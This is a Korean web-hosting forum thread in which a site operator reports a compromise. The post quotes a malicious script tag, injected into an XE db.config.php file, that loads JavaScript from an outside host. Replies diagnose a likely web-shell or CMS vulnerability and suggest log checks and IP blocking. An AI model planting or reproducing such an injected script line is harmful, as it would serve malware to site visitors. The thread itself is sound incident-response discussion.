묻고답하기
보안문제 때문에 질문드립니다.
2015.04.19 14:26
안녕하세요.
몇일 전부터 제가 운영하는 사이트가 한번씩 접속이 안되는 일이 있었습니다.
로그를 보니까 db.config.php 부분에 문제가 있다고 나와서 확인하니 파일 내용이 깨져 있었습니다.
그래서 백업해둔 파일로 대체해서 올리는 형식으로 해결했습니다.
하지만어째서 한번씩 파일이 깨지는건지에 대한 이유는 전혀 모르는 상태였습니다.
문제는 오늘도 그런 상황이 생겨서 바로 db.config.php를 교체하려고 했는데
이번에는 기본 내용의 마지막줄에 특정 스크립트를 불러오는 코드가 포함되어 있는것을 확인했습니다.
'sitelock_message' => 'Maintenance in progress...'
);
<script src="http://shoestring.co.kr/xxe/dd/12.js"></script>
이런식으로 코드가 db.config.php에 포함되어 있었습니다.
저런식으로 수정되면 당연히 사이트 접속이 안되니까 바로 발견했습니다.
저 주소로 들어가보니 어베스트 백신이 막는것으로 봐서는 해킹과 관련이 있을거라고 생각됩니다..
다만 원인을 모르겠는 부분은 전 22번 포트를 방화벽으로 막아놨고 로그를 확인해보니 root 계정을 포함해서 저 이외에 로그인한 기록이 없습니다.
방화벽도 설정이 되어있고 sshd에서도 제 IP만을 허용해둔 상태입니다. 아마 기본적인 보안설정은 해둔거라고 생각합니다.
만약 가능성이 있다면 방화벽 차단을 넘어서 접속을 했다는 부분이 되는데...
db.config.php를 수정한걸 보면 sftp혹은 ssh으로 접속한거라고 생각합니다.
이거 해킹시도라고 볼 수 있는 부분인가요?
근데 방화벽을 넘어서 오는 해킹이라니 도저히 막을 방법이 생각나지 않네요..
일단 패스워드는 전부 더 복잡해서 변경은 해놨는데 걱정입니다
댓글 4
-
즈베즈다
2015.04.19 15:21
-
加藤恵
2015.04.19 16:10
검색해보니까 예전에도 XE에 비슷한 보안이슈가 있던것같은데 웹쉘 공격 같은 종류일 가능성도 있는건가요? -
즈베즈다
2015.04.19 17:04
네, sftp, ssh에 접속한 흔적이 없다면 말씀하신대로 웹으로 접근해서 공격했을 가능성이 있습니다.
실제로 웹으로 접근했다면 access_log에 공격기록이 남아있을테니 확인해보시구요.
access_log에서 의심되는 IP는 방화벽으로 접근 차단해 두시면 임시로 막을 수 있을겁니다.
-
kdp
2015.04.19 15:22
PHP 소스코드안에 스크립트가 삽입됬다면 해킹시도가 맞습니다.
저쪽소스코드를 보니 iframe 소스코드를 삽입해 shoestring.co.kr/xxe/dd/index.html에 있는 난독화된 자바스크립트를 불러오는걸로 보입니다.
다만 타켓을 잘못잡았는지 DB설정파일에 삽입됬네요.
suPHP나 suExec를 한번 확인해보세요.
XE의 취약점일 가능성도 있으니 사용하시는 웹서버의 access_log를 확인하셔서 해당 스크립트를 삽입한 흔적이 있는지 확인해 보시는게 좋을것 같습니다.